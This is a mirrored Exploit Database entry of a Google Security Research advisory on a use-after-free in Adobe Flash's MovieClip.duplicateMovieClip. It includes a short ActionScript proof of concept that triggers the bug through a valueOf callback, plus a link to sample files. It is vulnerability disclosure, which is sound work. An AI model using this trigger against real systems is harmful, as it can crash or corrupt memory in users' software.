Adobe Flash MovieClip.duplicateMovieClip – Use-After-Free

• Exploit Database
• 12 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39042/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=591
  
  There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used. 
  
  A minimal PoC follows:
  
  
  this.createEmptyMovieClip("mc", 1);
  
  mc.duplicateMovieClip( "mc",{valueOf : func});
  
  
  function func(){
  	
  	trace("in func");
  	mc.removeMovieClip();
  
  // Fix heap here
  
  	return 5;
  	
  	}
  	
  	
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip